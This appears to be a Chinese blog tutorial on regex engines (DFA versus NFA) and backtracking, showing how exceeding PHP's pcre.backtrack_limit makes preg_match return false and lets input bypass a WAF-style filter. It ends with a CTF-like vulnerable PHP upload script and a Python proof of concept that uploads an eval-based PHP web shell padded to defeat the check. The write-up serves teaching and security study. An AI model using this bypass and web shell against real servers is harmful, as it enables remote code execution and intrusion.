正则回溯

正则引擎

正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机),NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。

目前使用DFA引擎的程序主要有:awk,egrep,flex,lex,MySQL,Procmail等; 使用传统型NFA引擎的程序主要有:GNU Emacs,Java,ergp,less,more,.NET,,PCRE library,Perl,PHP,Python,Ruby,sed,vi;

DFA在线性时状态下执行,不要求回溯,并且其从匹配文本入手,从左到右,每个字符不会匹配两次,所以通常情况下,它的速度更快,但支持的特性很少,不支持捕获组、各种引用。

NFA则是从正则表达式入手,并且不断读入字符,尝试是否匹配当前正则,不匹配则吐出字符重新尝试,在最坏情况下,它的执行速度可能非常慢,但NFA支持更多的特性,因而绝大多数编程场景下,比如 PHP、Java,python 等,使用的都是NFA。

对于 NFA 举例如下:

在解析器眼中DFA有四个数字位置,如下图

当正则为/D\w+A/时,过程如下:

首先由正则表达式字符/D/ 取得控制权,从位置0开始匹配,由 /D/ 来匹配D,匹配成功,控制权交给字符/\w+/ ;由于D已被/D/匹配,所以 /\w+/ 从位置1开始尝试匹配,\w+贪婪模式,会记录一个备选状态,默认会匹配最长字符,直接匹配到FA,并且匹配成功,当前位置为3。并且把控制权交给 /A/ ;由 /A/ 匹配失败,\w+匹配会回溯一位,当前位置变成2。并把控制权交给/A/,由/A/匹配字符F成功。

由上面可以知道,对于 DFA 而言,不管正则表达式怎么样,文本的匹配过程是一致的,都是对文本的字符依次从左到右进行匹配,NFA 对于不同但效果相同的正则表达式,匹配过程是完全不同的。

回溯

回到正题,现在来谈回溯。

假设字符串及其位置如下:

如果正则表达式为:/.*?b/

那么匹配过程如下:.?首先取得控制权, 假设该匹配为非贪婪模式, 所以优先不匹配, 将控制权交给下一个匹配字符b, b在源字符串位置1匹配失败a, 于是回溯, 将控制权交回给.?,这个时候, .*?匹配一个字符a,并再次将控制权交给b,这样一个过程,被称之为回溯, 如此反复,最终得到匹配结果, 这个过程中一共发生了2次回溯。

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限,默认的上限backtarck_limit是1000000。

可见,回溯次数上限默认是100万。我们的回溯次数超过了100万,会出现什么现象呢?比如: 我们定义一个正则:/UNION.+?SELECT/is

同时要检测的文本如下:UNION/abc/SELECT

流程大致如下,

首先匹配到UNION

.+?匹配到/

非贪婪模式,.+?停止向后匹配,由S匹配a

S匹配失败,第一次回溯,再由.+?匹配

非贪婪模式,.+?停止向后匹配,再由S匹配a

S匹配a失败,第二次回溯,再由.+?匹配a

非贪婪模式,.+?停止向后匹配,再由S匹配b

S匹配b失败,第三次回溯,再由.+?匹配b

非贪婪模式,.+?停止向后匹配,再由S匹配c

S匹配c失败,第四次回溯,再由.+?匹配c

非贪婪模式,.+?停止向后匹配,再由S匹配*

S匹配失败,第五次回溯,再由.+?匹配

非贪婪模式,.+?停止向后匹配,再由S匹配/

S匹配/失败,第六次回溯,再由.+?匹配/

非贪婪模式,.+?停止向后匹配,再由S匹配S

S匹配S匹配成功,继续向后,直至SELECT匹配SELECT成功

从上面可以看出,回溯的次数是我们可以控制的,当我们在/**/之间写入的内容越多,那么回溯的次数也就越多,假定我们传入的字符串很多,导致回溯次数超过了pcre.backtrack_limit的限制,那么就可能绕过这个正则表达式,从而导致绕过 waf 之类的限制。

例子

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

因为preg_match()默认是贪婪模式,所以可以用正则回溯绕过,当回溯超过一定次数,会返回false

poc:

import requests
from io import BytesIO

files = {
'file': BytesIO(b'<?php eval($_POST[txt]);?>//' + b'a' * 1000000)
}

res = requests.post('http://10.10.10.1/', files=files, allow_redirects=False)
print(res.headers)

参考

https://www.cnpanda.net/codeaudit/660.html

留下评论

粤ICP备20010650号